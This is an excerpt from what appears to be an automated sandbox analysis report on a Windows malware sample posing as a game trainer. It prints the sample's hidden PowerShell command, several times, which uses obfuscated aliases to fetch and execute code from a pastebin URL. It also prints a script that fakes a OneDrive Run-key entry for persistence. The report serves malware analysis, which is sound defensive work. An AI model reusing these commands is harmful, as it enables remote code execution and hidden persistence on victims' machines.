Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: Stand_Trainer_Updated.exe.1.dr

Static PE information: 0xEDF7F89D [Fri Jul 6 22:13:49 2096 UTC]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC6300BD pushad ; iretd	1_2_00007FFAAC6300C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC70A843 pushad ; ret	1_2_00007FFAAC70A841
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC70585B push ebx; retf	1_2_00007FFAAC7059DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC70A81D pushad ; ret	1_2_00007FFAAC70A841
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FFAAC6650AD push E95633B4h; ret	6_2_00007FFAAC6650F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC6774EB push ebx; iretd	12_2_00007FFAAC67756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC67757B push ebx; iretd	12_2_00007FFAAC67756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC66EEA7 push ebp; ret	12_2_00007FFAAC66EEA8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC67782E pushad ; iretd	12_2_00007FFAAC67785D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC67785E push eax; iretd	12_2_00007FFAAC67786D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC6600BD pushad ; iretd	12_2_00007FFAAC6600C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC736DC3 push edi; iretd	12_2_00007FFAAC736DC6

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Backend.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Jump to dropped file

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Tries to open files direct via NTFS file id

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
